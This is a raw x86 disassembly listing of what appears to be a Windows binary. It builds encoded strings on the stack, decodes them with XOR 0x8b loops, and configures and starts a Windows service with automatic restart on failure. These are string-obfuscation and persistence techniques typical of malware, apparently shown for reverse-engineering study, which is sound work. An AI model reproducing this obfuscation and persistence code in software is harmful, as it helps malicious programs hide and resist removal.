mov dword [ebp - 0x460], 0x64456949
push 0
sub esp, 0xc
mov dword [ebp - 0x45c], 0x75636944
mov ecx, esp
mov dword [ebp - 0x458], 0x684d3249
lea eax, [ebp - 0x28d]
mov dword [ebp - 0x454], 0x4f386743
lea edx, [ebp - 0x2a2]
mov dword [ebp - 0x450], 0x63774245
push eax
push edx
lea esi, [ebp - 0x43c]
mov dword [ebp - 0x44c], 0x6630534e
push esi
mov dword [ebp - 0x448], 0x46516766
lea ebx, [ebp - 0x43e]
mov dword [ebp - 0x444], 0x41414141
mov word [ebp - 0x440], 0x4175
call fcn.004676d0
lea eax, [ebp - 0x810]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0
sub esp, 0xc
mov edi, eax
mov ecx, esp
lea eax, [ebp - 0x28d]
push eax
push ebx
lea eax, [ebp - 0x548]
push eax
call fcn.004676d0
lea eax, [ebp - 0x820]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x29c], eax
xor esi, esi
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x29c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
jmp 0x4e6ca0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6ca0
sub ecx, edx
je 0x4e6cf3
jmp 0x4e6cb0
mov al, byte [esi + edi]
lea ecx, [ebp - 0x29c]
xor al, 0x8b
mov byte [ebp - 0x28d], al
lea eax, [ebp - 0x28d]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6cd3
sub ecx, edx
cmp esi, ecx
jb 0x4e6cb0
mov eax, dword [ebp - 0x29c]
test eax, eax
je 0x4e6cf3
push eax
call fcn.0053c1e0
add esp, 4
lea ecx, [ebp - 0x820]
call fcn.00467ae0
lea ecx, [ebp - 0x810]
call fcn.00467ae0
push 0x3c
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.0053e0b0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 5
push 3
push 2
lea ecx, [ebp - 0x268]
call fcn.004af8b0
lea eax, [ebp - 0x268]
push eax
call fcn.004a3ef0
add esp, 4
push dword [ebp - 0x774]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4e84c1
mov dword [ebp - 0x414], 0x6e734444
mov dword [ebp - 0x410], 0x7477794a
mov dword [ebp - 0x40c], 0x684e6e4a
mov dword [ebp - 0x408], 0x30554163
mov dword [ebp - 0x404], 0x3934794b
mov dword [ebp - 0x400], 0x6c394349
mov dword [ebp - 0x3fc], 0x2b416945
mov dword [ebp - 0x3f8], 0x31387a4c
mov dword [ebp - 0x3f4], 0x6b67574c
mov dword [ebp - 0x3f0], 0x4a67424b
mov dword [ebp - 0x3ec], 0x67686e49
mov dword [ebp - 0x3e8], 0x5545514a
mov dword [ebp - 0x3e4], 0x6868524b
mov dword [ebp - 0x3e0], 0x6f6b7741
mov dword [ebp - 0x3dc], 0x6e306966
mov dword [ebp - 0x3d8], 0x6e4d5848
mov dword [ebp - 0x3d4], 0x7673434a
mov dword [ebp - 0x3d0], 0x4d637950
mov dword [ebp - 0x3cc], 0x714d6947
mov dword [ebp - 0x3c8], 0x30737741
mov dword [ebp - 0x3c4], 0x686c424e
mov dword [ebp - 0x3c0], 0x4b736e49
mov dword [ebp - 0x3bc], 0x30735141
mov dword [ebp - 0x3b8], 0x33457944
mov dword [ebp - 0x3b4], 0x4b386e48
mov dword [ebp - 0x3b0], 0x3156694d
mov dword [ebp - 0x3ac], 0x5a675343
mov dword [ebp - 0x3a8], 0x366f6a4b
mov dword [ebp - 0x3a4], 0x2f344144
mov dword [ebp - 0x3a0], 0x4151784f
mov dword [ebp - 0x39c], 0x514d5149
mov dword [ebp - 0x398], 0x526b6a45
mov dword [ebp - 0x394], 0x3667784b
mov dword [ebp - 0x390], 0x6f73475a
mov dword [ebp - 0x38c], 0x69636748
mov dword [ebp - 0x388], 0x736b4242
mov dword [ebp - 0x384], 0x5438784f
mov dword [ebp - 0x380], 0x3351574e
mov dword [ebp - 0x37c], 0x6c45574a
mov dword [ebp - 0x378], 0x4f346e4a
mov dword [ebp - 0x374], 0x456f6847
mov dword [ebp - 0x370], 0x6e67484d
mov dword [ebp - 0x36c], 0x4f6b785a
mov dword [ebp - 0x368], 0x494d6a47
mov dword [ebp - 0x364], 0x3577544b
mov dword [ebp - 0x360], 0x706f4264
mov dword [ebp - 0x35c], 0x2f6f7744
mov dword [ebp - 0x358], 0x4d634261
mov dword [ebp - 0x354], 0x37596a42
mov dword [ebp - 0x350], 0x37787946
mov dword [ebp - 0x34c], 0x32415250
mov dword [ebp - 0x348], 0x76556e66
mov dword [ebp - 0x344], 0x70555241
mov dword [ebp - 0x340], 0x73345350
mov dword [ebp - 0x33c], 0x43456748
mov dword [ebp - 0x338], 0x78307945
mov dword [ebp - 0x334], 0x39306945
mov dword [ebp - 0x330], 0x31454449
mov dword [ebp - 0x32c], 0x4373524f
mov dword [ebp - 0x328], 0x37564241
mov dword [ebp - 0x324], 0x784d774e
mov dword [ebp - 0x320], 0x55595142
mov dword [ebp - 0x31c], 0x2f424266
mov dword [ebp - 0x318], 0x5751694f
mov dword [ebp - 0x314], 0x51456765
mov dword [ebp - 0x310], 0x6f594363
mov dword [ebp - 0x30c], 0x426b4146
mov dword [ebp - 0x308], 0x5a63444b
mov dword [ebp - 0x304], 0x6338324a
mov dword [ebp - 0x300], 0x37464363
mov dword [ebp - 0x2fc], 0x35776a63
mov dword [ebp - 0x2f8], 0x4641694a
mov dword [ebp - 0x2f4], 0x36356a66
mov dword [ebp - 0x2f0], 0x6b6f5143
mov dword [ebp - 0x2ec], 0x676f444c
mov dword [ebp - 0x2e8], 0x32733349
mov dword [ebp - 0x2e4], 0x5649534b
mov dword [ebp - 0x2e0], 0x46416d4f
mov dword [ebp - 0x2dc], 0x6b4e4263
mov dword [ebp - 0x2d8], 0x77426964
mov dword [ebp - 0x2d4], 0x52304443
mov dword [ebp - 0x2d0], 0x6f385449
mov dword [ebp - 0x2cc], 0x6d736d4c
mov dword [ebp - 0x2c8], 0x49734143
mov dword [ebp - 0x2c4], 0x2b77534a
mov dword [ebp - 0x2c0], 0x7a6c424b
mov dword [ebp - 0x2bc], 0x6930774f
mov dword [ebp - 0x2b8], 0x45456848
mov dword [ebp - 0x2b4], 0x3751544c
mov dword [ebp - 0x2b0], 0x4d38424c
mov dword [ebp - 0x2ac], 0x59734248
mov dword [ebp - 0x2a8], 0x41414141
mov word [ebp - 0x2a4], 0x412b
mov dword [ebp - 0x580], 0x6e415441
mov dword [ebp - 0x57c], 0x756b444f
mov dword [ebp - 0x578], 0x34306e4f
mov dword [ebp - 0x574], 0x4d49444b
mov dword [ebp - 0x570], 0x356b3366
mov dword [ebp - 0x56c], 0x4e456943
mov dword [ebp - 0x568], 0x7230774f
mov dword [ebp - 0x564], 0x4763684d
mov dword [ebp - 0x560], 0x4849524a
mov dword [ebp - 0x55c], 0x4d497862
mov dword [ebp - 0x558], 0x634d4241
mov dword [ebp - 0x554], 0x58495359
mov dword [ebp - 0x550], 0x36597763
mov dword [ebp - 0x54c], 0x744d3341
mov dword [ebp - 0x548], 0x776c514b
mov dword [ebp - 0x544], 0x6f6c5149
mov dword [ebp - 0x540], 0x68354164
mov dword [ebp - 0x53c], 0x56737a49
mov dword [ebp - 0x538], 0x7841574d
mov dword [ebp - 0x534], 0x77557a4c
mov dword [ebp - 0x530], 0x7a4d4342
mov dword [ebp - 0x52c], 0x69736842
mov dword [ebp - 0x528], 0x59457863
mov dword [ebp - 0x524], 0x68494261
mov dword [ebp - 0x520], 0x716f4250
mov dword [ebp - 0x51c], 0x426b4163
mov dword [ebp - 0x518], 0x6e45514a
mov dword [ebp - 0x514], 0x77515749
mov dword [ebp - 0x510], 0x62457944
mov dword [ebp - 0x50c], 0x37515849
mov dword [ebp - 0x508], 0x476f6744
mov dword [ebp - 0x504], 0x52455147
mov dword [ebp - 0x500], 0x3959785a
mov dword [ebp - 0x4fc], 0x77385861
mov dword [ebp - 0x4f8], 0x76557764
mov dword [ebp - 0x4f4], 0x39673344
mov dword [ebp - 0x4f0], 0x70415265
mov dword [ebp - 0x4ec], 0x78415459
mov dword [ebp - 0x4e8], 0x636b5145
mov dword [ebp - 0x4e4], 0x30637741
mov dword [ebp - 0x4e0], 0x4d38794e
mov dword [ebp - 0x4dc], 0x5245794e
mov dword [ebp - 0x4d8], 0x724d434d
mov dword [ebp - 0x4d4], 0x4463414e
mov dword [ebp - 0x4d0], 0x57676a48
mov dword [ebp - 0x4cc], 0x324d4145
mov dword [ebp - 0x4c8], 0x6338524b
mov dword [ebp - 0x4c4], 0x426f684c
mov dword [ebp - 0x4c0], 0x65415149
mov dword [ebp - 0x4bc], 0x45677962
mov dword [ebp - 0x4b8], 0x3141674c
mov dword [ebp - 0x4b4], 0x5a347943
mov dword [ebp - 0x4b0], 0x4e516d63
mov dword [ebp - 0x4ac], 0x4255694d
mov dword [ebp - 0x4a8], 0x37595845
mov dword [ebp - 0x4a4], 0x4f634163
mov dword [ebp - 0x4a0], 0x2b685142
mov dword [ebp - 0x49c], 0x4a454759
mov dword [ebp - 0x498], 0x6e644466
mov dword [ebp - 0x494], 0x6151534e
mov dword [ebp - 0x490], 0x61387945
mov dword [ebp - 0x48c], 0x30644346
mov dword [ebp - 0x488], 0x39705248
mov dword [ebp - 0x484], 0x7134675a
mov dword [ebp - 0x480], 0x714d4350
mov dword [ebp - 0x47c], 0x69387846
mov dword [ebp - 0x478], 0x3868674e
mov dword [ebp - 0x474], 0x6b565448
mov dword [ebp - 0x470], 0x6c5a4165
push 0
sub esp, 0xc
mov dword [ebp - 0x46c], 0x326f4263
mov ecx, esp
mov dword [ebp - 0x468], 0x576b4466
lea eax, [ebp - 0x28d]
mov dword [ebp - 0x464], 0x3367535a
lea edx, [ebp - 0x2a2]
mov dword [ebp - 0x460], 0x4349794a
push eax
push edx
lea esi, [ebp - 0x414]
mov dword [ebp - 0x45c], 0x63636841
push esi
mov dword [ebp - 0x458], 0x68346e4f
mov dword [ebp - 0x454], 0x76593244
mov dword [ebp - 0x450], 0x704d5445
mov dword [ebp - 0x44c], 0x4a416d61
mov dword [ebp - 0x448], 0x4167694f
mov dword [ebp - 0x444], 0x68444141
call fcn.004676d0
lea eax, [ebp - 0x830]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0
sub esp, 0xc
mov edi, eax
mov ecx, esp
lea eax, [ebp - 0x28d]
push eax
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x580]
push eax
call fcn.004676d0
lea eax, [ebp - 0x810]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x29c], eax
xor esi, esi
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x29c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e74b2
sub ecx, edx
je 0x4e7503
lea ecx, [ecx]
mov al, byte [esi + edi]
lea ecx, [ebp - 0x29c]
xor al, 0x8b
mov byte [ebp - 0x28d], al
lea eax, [ebp - 0x28d]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e74e3
sub ecx, edx
cmp esi, ecx
jb 0x4e74c0
mov eax, dword [ebp - 0x29c]
test eax, eax
je 0x4e7503
push eax
call fcn.0053c1e0
add esp, 4
lea ecx, [ebp - 0x810]
call fcn.00467ae0
lea ecx, [ebp - 0x830]
call fcn.00467ae0
lea eax, [ebp - 0x228]
mov dword [ebp - 0x224], 0xea60
mov dword [ebp - 0x27c], eax
lea eax, [ebp - 0x28c]
push eax
push 2
push ebx
mov dword [ebp - 0x228], 1
mov dword [ebp - 0x21c], 0xea60
mov dword [ebp - 0x220], 1
mov dword [ebp - 0x214], 0xea60
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x28c], 0x3c
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x280], 3
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
mov dword [ebp - 0x560], 0x6e734444
mov dword [ebp - 0x55c], 0x7477794a
mov dword [ebp - 0x558], 0x684e6e4a
mov dword [ebp - 0x554], 0x79554263
mov dword [ebp - 0x550], 0x39307a4c
mov dword [ebp - 0x54c], 0x6955434c
mov dword [ebp - 0x548], 0x70595259
mov dword [ebp - 0x544], 0x2f41794b
mov dword [ebp - 0x540], 0x65777a4b
mov dword [ebp - 0x53c], 0x6773774d
mov dword [ebp - 0x538], 0x5a63444e
mov dword [ebp - 0x534], 0x466b694d
mov dword [ebp - 0x530], 0x36346849
mov dword [ebp - 0x52c], 0x72454842
mov dword [ebp - 0x528], 0x35314242
mov dword [ebp - 0x524], 0x7277414c
mov dword [ebp - 0x520], 0x32556a64
mov dword [ebp - 0x51c], 0x6b305262
mov dword [ebp - 0x518], 0x68305148
mov dword [ebp - 0x514], 0x53737a46
mov dword [ebp - 0x510], 0x7a4d5446
mov dword [ebp - 0x50c], 0x6f346741
mov dword [ebp - 0x508], 0x2f6f5743
mov dword [ebp - 0x504], 0x78394349
mov dword [ebp - 0x500], 0x34686a65
mov dword [ebp - 0x4fc], 0x52385344
mov dword [ebp - 0x4f8], 0x2f514442
mov dword [ebp - 0x4f4], 0x5a637947
mov dword [ebp - 0x4f0], 0x6c736941
mov dword [ebp - 0x4ec], 0x41457964
mov dword [ebp - 0x4e8], 0x73314749
mov dword [ebp - 0x4e4], 0x62344148
mov dword [ebp - 0x4e0], 0x54636d41
mov dword [ebp - 0x4dc], 0x69634448
mov dword [ebp - 0x4d8], 0x38314241
mov dword [ebp - 0x4d4], 0x494d674d
mov dword [ebp - 0x4d0], 0x74636863
mov dword [ebp - 0x4cc], 0x5a55674f
mov dword [ebp - 0x4c8], 0x67457942
mov dword [ebp - 0x4c4], 0x78744244
mov dword [ebp - 0x4c0], 0x614d3244
mov dword [ebp - 0x4bc], 0x34314446
mov dword [ebp - 0x4b8], 0x2f4a7947
mov dword [ebp - 0x4b4], 0x4e6b774e
mov dword [ebp - 0x4b0], 0x54416947
mov dword [ebp - 0x4ac], 0x52776a4d
mov dword [ebp - 0x4a8], 0x4c596a4c
mov dword [ebp - 0x4a4], 0x346b7746
mov dword [ebp - 0x4a0], 0x6d56684a
mov dword [ebp - 0x49c], 0x31776946
mov dword [ebp - 0x498], 0x56494450
mov dword [ebp - 0x494], 0x33397a4e
mov dword [ebp - 0x490], 0x57387847
mov dword [ebp - 0x48c], 0x71305166
mov dword [ebp - 0x488], 0x4c594342
mov dword [ebp - 0x484], 0x79646742
mov dword [ebp - 0x480], 0x7538424f
mov dword [ebp - 0x47c], 0x63674261
mov dword [ebp - 0x478], 0x6e734341
mov dword [ebp - 0x474], 0x5149414d
mov dword [ebp - 0x470], 0x5a496845
mov dword [ebp - 0x46c], 0x5a41414a
mov dword [ebp - 0x468], 0x65594142
mov dword [ebp - 0x464], 0x54345146
mov dword [ebp - 0x460], 0x76514365
mov dword [ebp - 0x45c], 0x3252524e
mov dword [ebp - 0x458], 0x3559774a
mov dword [ebp - 0x454], 0x34595161
mov dword [ebp - 0x450], 0x7a383249
mov dword [ebp - 0x44c], 0x6b347747
mov dword [ebp - 0x448], 0x3851444e
mov dword [ebp - 0x444], 0x41414141
mov word [ebp - 0x440], 0x7775
mov dword [ebp - 0x43c], 0x6e415441
mov dword [ebp - 0x438], 0x756b444f
mov dword [ebp - 0x434], 0x34306e4f
mov dword [ebp - 0x430], 0x7849444b
mov dword [ebp - 0x42c], 0x78347947
mov dword [ebp - 0x428], 0x30456a4b
mov dword [ebp - 0x424], 0x54417846
mov dword [ebp - 0x420], 0x3934514b
mov dword [ebp - 0x41c], 0x3630694d
mov dword [ebp - 0x418], 0x7177444f
mov dword [ebp - 0x414], 0x6430444d
mov dword [ebp - 0x410], 0x4434675a
mov dword [ebp - 0x40c], 0x3863774a
mov dword [ebp - 0x408], 0x7946435a
mov dword [ebp - 0x404], 0x34686950
mov dword [ebp - 0x400], 0x734d6e63
mov dword [ebp - 0x3fc], 0x34304844
mov dword [ebp - 0x3f8], 0x6c414159
mov dword [ebp - 0x3f4], 0x69735144
mov dword [ebp - 0x3f0], 0x616f3364
mov dword [ebp - 0x3ec], 0x5a514748
mov dword [ebp - 0x3e8], 0x7978515a
mov dword [ebp - 0x3e4], 0x46557a41
mov dword [ebp - 0x3e0], 0x4445415a
mov dword [ebp - 0x3dc], 0x73733364
mov dword [ebp - 0x3d8], 0x53496e4b
mov dword [ebp - 0x3d4], 0x564d5347
mov dword [ebp - 0x3d0], 0x6a6b6743
mov dword [ebp - 0x3cc], 0x564d5145
mov dword [ebp - 0x3c8], 0x53737944
mov dword [ebp - 0x3c4], 0x4c6f7748
mov dword [ebp - 0x3c0], 0x7a357949
mov dword [ebp - 0x3bc], 0x37397a48
mov dword [ebp - 0x3b8], 0x4b51444e
mov dword [ebp - 0x3b4], 0x77556a4f
mov dword [ebp - 0x3b0], 0x6167484b
mov dword [ebp - 0x3ac], 0x6d385242
mov dword [ebp - 0x3a8], 0x5467444c
mov dword [ebp - 0x3a4], 0x63457a41
mov dword [ebp - 0x3a0], 0x32525448
mov dword [ebp - 0x39c], 0x79303263
mov dword [ebp - 0x398], 0x774d5345
mov dword [ebp - 0x394], 0x54305447
mov dword [ebp - 0x390], 0x6745515a
mov dword [ebp - 0x38c], 0x3774684e
mov dword [ebp - 0x388], 0x45676e41
mov dword [ebp - 0x384], 0x6949794f
mov dword [ebp - 0x380], 0x6c427a61
mov dword [ebp - 0x37c], 0x6a6f5165
mov dword [ebp - 0x378], 0x64557962
mov dword [ebp - 0x374], 0x6e355463
mov dword [ebp - 0x370], 0x754d514e
mov dword [ebp - 0x36c], 0x70735244
mov dword [ebp - 0x368], 0x45345846
mov dword [ebp - 0x364], 0x62416948
mov dword [ebp - 0x360], 0x6e73684b
mov dword [ebp - 0x35c], 0x48633341
mov dword [ebp - 0x358], 0x30734864
mov dword [ebp - 0x354], 0x45775163
mov dword [ebp - 0x350], 0x6a345841
mov dword [ebp - 0x34c], 0x656f514c
mov dword [ebp - 0x348], 0x4f385847
mov dword [ebp - 0x344], 0x36424147
mov dword [ebp - 0x340], 0x68635443
mov dword [ebp - 0x33c], 0x4577694f
mov dword [ebp - 0x338], 0x50384850
mov dword [ebp - 0x334], 0x4b51334c
mov dword [ebp - 0x330], 0x67385150
push 0
sub esp, 0xc
mov dword [ebp - 0x32c], 0x69415766
mov ecx, esp
mov dword [ebp - 0x328], 0x78637944
lea eax, [ebp - 0x28d]
mov dword [ebp - 0x324], 0x6878544b
lea edx, [ebp - 0x43e]
mov dword [ebp - 0x320], 0x5a736766
push eax
push edx
lea esi, [ebp - 0x560]
mov dword [ebp - 0x31c], 0x44307a4a
push esi
mov dword [ebp - 0x318], 0x4d777a5a
mov dword [ebp - 0x314], 0x78495750
mov dword [ebp - 0x310], 0x77594744
mov dword [ebp - 0x30c], 0x3439444e
mov dword [ebp - 0x308], 0x38417a4d
mov dword [ebp - 0x304], 0x66513349
mov dword [ebp - 0x300], 0x326f424b
mov dword [ebp - 0x2fc], 0x4745794e
mov dword [ebp - 0x2f8], 0x6d73694a
mov dword [ebp - 0x2f4], 0x366b414f
mov dword [ebp - 0x2f0], 0x2b42435a
mov dword [ebp - 0x2ec], 0x67347a4e
mov dword [ebp - 0x2e8], 0x45674446
mov dword [ebp - 0x2e4], 0x686f524a
mov dword [ebp - 0x2e0], 0x35456d62
mov dword [ebp - 0x2dc], 0x30634441
mov dword [ebp - 0x2d8], 0x5155794a
mov dword [ebp - 0x2d4], 0x4d494748
mov dword [ebp - 0x2d0], 0x75387743
mov dword [ebp - 0x2cc], 0x616b6750
mov dword [ebp - 0x2c8], 0x71676749
mov dword [ebp - 0x2c4], 0x63734266
mov dword [ebp - 0x2c0], 0x5277584d
mov dword [ebp - 0x2bc], 0x47495163
mov dword [ebp - 0x2b8], 0x4f6b4149
mov dword [ebp - 0x2b4], 0x69686d4b
mov dword [ebp - 0x2b0], 0x62735146
mov dword [ebp - 0x2ac], 0x68737848
mov dword [ebp - 0x2a8], 0x4141514d
mov word [ebp - 0x2a4], 0x5341
mov byte [ebp - 0x2a2], 0x55
call fcn.004676d0
lea eax, [ebp - 0x810]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0
sub esp, 0xc
mov edi, eax
mov ecx, esp
lea eax, [ebp - 0x28d]
push eax
lea eax, [ebp - 0x2a1]
push eax
lea eax, [ebp - 0x43c]
push eax
call fcn.004676d0
lea eax, [ebp - 0x830]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x29c], eax
xor esi, esi
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x29c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
jmp 0x4e7d20
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e7d20
sub ecx, edx
je 0x4e7d73
jmp 0x4e7d30
mov al, byte [esi + edi]
lea ecx, [ebp - 0x29c]
xor al, 0x8b
mov byte [ebp - 0x28d], al
lea eax, [ebp - 0x28d]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e7d53
sub ecx, edx
cmp esi, ecx
jb 0x4e7d30
mov eax, dword [ebp - 0x29c]
test eax, eax
je 0x4e7d73
push eax
call fcn.0053c1e0
add esp, 4
lea ecx, [ebp - 0x830]
call fcn.00467ae0
lea ecx, [ebp - 0x810]
call fcn.00467ae0
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x4e7ddf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.0053e0b0
add esp, 0xc
lea ecx, [ebp - 0x268]
push esi
push 3
push 3
push 2
call fcn.004af8b0
lea eax, [ebp - 0x268]
push eax
call fcn.004a3ef0
add esp, 4
lea ecx, [ebp - 0x268]
call fcn.004b5e60
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call ebx
push dword [ebp - 0x774]
call ebx
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0053d3a0
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x7e0], 0x6e734444
mov dword [ebp - 0x7dc], 0x7477794a
mov dword [ebp - 0x7d8], 0x684e6e4a
mov dword [ebp - 0x7d4], 0x70554163
mov dword [ebp - 0x7d0], 0x744d794f
mov dword [ebp - 0x7cc], 0x7877324b
mov dword [ebp - 0x7c8], 0x70495359
mov dword [ebp - 0x7c4], 0x7a59584c
mov dword [ebp - 0x7c0], 0x7877444d
mov dword [ebp - 0x7bc], 0x6e6b7a4e
mov dword [ebp - 0x7b8], 0x3463444a
mov dword [ebp - 0x7b4], 0x78306d4e
mov dword [ebp - 0x7b0], 0x6b63794b
mov dword [ebp - 0x7ac], 0x7763694d
mov dword [ebp - 0x7a8], 0x506f5242
mov dword [ebp - 0x7a4], 0x7a397850
mov dword [ebp - 0x7a0], 0x544d6a48
mov dword [ebp - 0x79c], 0x374e5448
mov dword [ebp - 0x798], 0x6e413242
mov dword [ebp - 0x794], 0x68676a45
mov dword [ebp - 0x790], 0x73467864
mov dword [ebp - 0x78c], 0x73387959
mov dword [ebp - 0x788], 0x4b6f7a48
mov dword [ebp - 0x784], 0x33744361
mov dword [ebp - 0x780], 0x41674265
mov dword [ebp - 0x77c], 0x6a414141
mov dword [ebp - 0x434], 0x6e415441
mov dword [ebp - 0x430], 0x756b444f
mov dword [ebp - 0x42c], 0x34306e4f
mov dword [ebp - 0x428], 0x4b49444b
mov dword [ebp - 0x424], 0x6351694a
mov dword [ebp - 0x420], 0x53676e49
mov dword [ebp - 0x41c], 0x554d794c
mov dword [ebp - 0x418], 0x6e6c7a4e
mov dword [ebp - 0x414], 0x64386a44
mov dword [ebp - 0x410], 0x67677745
mov dword [ebp - 0x40c], 0x414d774c
mov dword [ebp - 0x408], 0x6551584d
mov dword [ebp - 0x404], 0x32414245
mov dword [ebp - 0x400], 0x4349534b
mov dword [ebp - 0x3fc], 0x6b747a4e
mov dword [ebp - 0x3f8], 0x664d6a4a
mov dword [ebp - 0x3f4], 0x344a6e45
mov dword [ebp - 0x3f0], 0x55636747
mov dword [ebp - 0x3ec], 0x6273414a
mov dword [ebp - 0x3e8], 0x6e516e4d
mov dword [ebp - 0x3e4], 0x7467424d
mov dword [ebp - 0x3e0], 0x6b515141
mov dword [ebp - 0x3dc], 0x6a59544a
mov dword [ebp - 0x3d8], 0x326f4342
mov dword [ebp - 0x3d4], 0x45416949
mov dword [ebp - 0x3d0], 0x77736a44
mov dword [ebp - 0x3cc], 0x72417945
mov dword [ebp - 0x3c8], 0x5151444e
mov dword [ebp - 0x3c4], 0x3630574a
mov dword [ebp - 0x3c0], 0x36346765
mov dword [ebp - 0x3bc], 0x63456846
mov dword [ebp - 0x3b8], 0x3356524d
mov dword [ebp - 0x3b4], 0x4c555148
mov dword [ebp - 0x3b0], 0x6741784d
mov dword [ebp - 0x3ac], 0x48307a4a
mov dword [ebp - 0x3a8], 0x55774844
mov dword [ebp - 0x3a4], 0x6e344163
mov dword [ebp - 0x3a0], 0x2f30524e
mov dword [ebp - 0x39c], 0x36385141
mov dword [ebp - 0x398], 0x5434444f
mov dword [ebp - 0x394], 0x73564148
mov dword [ebp - 0x390], 0x78347941
mov dword [ebp - 0x38c], 0x2f55444c
mov dword [ebp - 0x388], 0x304e3341
mov dword [ebp - 0x384], 0x394e4149
mov dword [ebp - 0x380], 0x6f735846
mov dword [ebp - 0x37c], 0x3067794d
mov dword [ebp - 0x378], 0x48457845
mov dword [ebp - 0x374], 0x2f41694d
mov dword [ebp - 0x370], 0x30555346
mov dword [ebp - 0x36c], 0x6b646a63
mov dword [ebp - 0x368], 0x4f345146
mov dword [ebp - 0x364], 0x72306a44
mov dword [ebp - 0x360], 0x31736742
mov dword [ebp - 0x35c], 0x62735248
sub esp, 0xc
mov dword [ebp - 0x358], 0x7a307a4b
mov ecx, esp
mov dword [ebp - 0x354], 0x74497a49
lea eax, [ebp - 0x778]
mov dword [ebp - 0x350], 0x7945774d
mov dword [ebp - 0x34c], 0x64345241
push dword [ebp - 0x2a0]
mov dword [ebp - 0x348], 0x55303362
push eax
lea eax, [ebp - 0x7e0]
mov dword [ebp - 0x344], 0x6c465448
mov dword [ebp - 0x340], 0x77345345
mov dword [ebp - 0x33c], 0x6e637a4c
mov dword [ebp - 0x338], 0x52385166
mov dword [ebp - 0x334], 0x6a4d5350
mov dword [ebp - 0x330], 0x49414342
mov dword [ebp - 0x32c], 0x4f636a4b
mov dword [ebp - 0x328], 0x65386844
mov dword [ebp - 0x324], 0x5a41414d
mov dword [ebp - 0x320], 0x31455144
mov dword [ebp - 0x31c], 0x3967424a
mov dword [ebp - 0x318], 0x6a417959
mov dword [ebp - 0x314], 0x2b647a49
mov dword [ebp - 0x310], 0x484d6a4e
mov dword [ebp - 0x30c], 0x77683359
mov dword [ebp - 0x308], 0x76596944
mov dword [ebp - 0x304], 0x2f466845
mov dword [ebp - 0x300], 0x64637841
mov dword [ebp - 0x2fc], 0x4b73414f
mov dword [ebp - 0x2f8], 0x58776e4f
mov dword [ebp - 0x2f4], 0x58305243
mov dword [ebp - 0x2f0], 0x77346a4e
mov dword [ebp - 0x2ec], 0x4c496a63
mov dword [ebp - 0x2e8], 0x4849694b
mov dword [ebp - 0x2e4], 0x376f444e
mov dword [ebp - 0x2e0], 0x56345846
mov dword [ebp - 0x2dc], 0x57496a4b
mov dword [ebp - 0x2d8], 0x7541434c
mov dword [ebp - 0x2d4], 0x7a456766
mov dword [ebp - 0x2d0], 0x33567741
mov dword [ebp - 0x2cc], 0x416b4264
mov dword [ebp - 0x2c8], 0x30647749
mov dword [ebp - 0x2c4], 0x65595165
mov dword [ebp - 0x2c0], 0x6c6b4348
mov dword [ebp - 0x2bc], 0x64777a42
mov dword [ebp - 0x2b8], 0x4c777a43
mov dword [ebp - 0x2b4], 0x46384447
mov dword [ebp - 0x2b0], 0x434d7947
mov dword [ebp - 0x2ac], 0x51387a41
mov dword [ebp - 0x2a8], 0x42414141
mov word [ebp - 0x2a4], 0x6748
push eax
push 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x830]
push eax
call fcn.0047fb90
add esp, 0x10
mov edi, dword [eax]
mov eax, dword [eax + 4]
sub eax, edi
je 0x4e8516
sub esp, 0xc
lea eax, [ebp - 0x2a2]
mov ecx, esp
push dword [ebp - 0x2a0]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x434]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x810]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x4e8520
